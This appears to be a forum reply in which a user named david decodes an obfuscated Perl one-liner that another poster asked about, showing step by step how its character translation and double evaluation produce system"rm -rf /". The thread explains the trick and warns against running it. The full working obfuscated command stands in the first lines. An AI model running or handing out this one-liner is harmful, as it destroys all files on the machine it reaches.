Andrei Koulik said:
Can anybody explain me how this command deletes files:
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/"
-;;s;;$_;see'
translation:
$? ?
s/;s/s;;$?/
:
s//=]=>%-{<-|}<&|`{/;
tr( -/:-@[-`{-})[`-{/"\-];
s//do{
$_;
};/see;
more translation:
1. this:
$? ?
s/;s/s;;$?/
:
s//=]=>%-{<-|}<&|`{/;
essentially translate to:
$_ = '=]=>%-{<-|}<&|`{';
lookup perldoc perlvar to see what $? holds and you will know why.
2. this:
tr( -/:-@[-`{-})[`-{/"\-];
have a few components. those between '(' and ')' are characters to be translated:
' -/' means: all characters between the space and '/'
':-@' means: all characters between ':' and '@'
'[-`' means: all characters between '[' and '`'
'{-}' means: all characters between '{' and '}'
those between '[' and ']' are characters translated to:
'`-{' means: all characters between '`' and '{'
'/" \-' means just the literal characters.
so you are translating:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
characters from upper string to the lower string.
now notice what $_ is and plug in the translation gives $_ to be:
system"rm -rf /"
3. isn't it clear from now on?
s//do{
$_;
};/see;
'ee' bascially runs the system call via do{}.
4. question: are you going to run that to confirm what i said?
david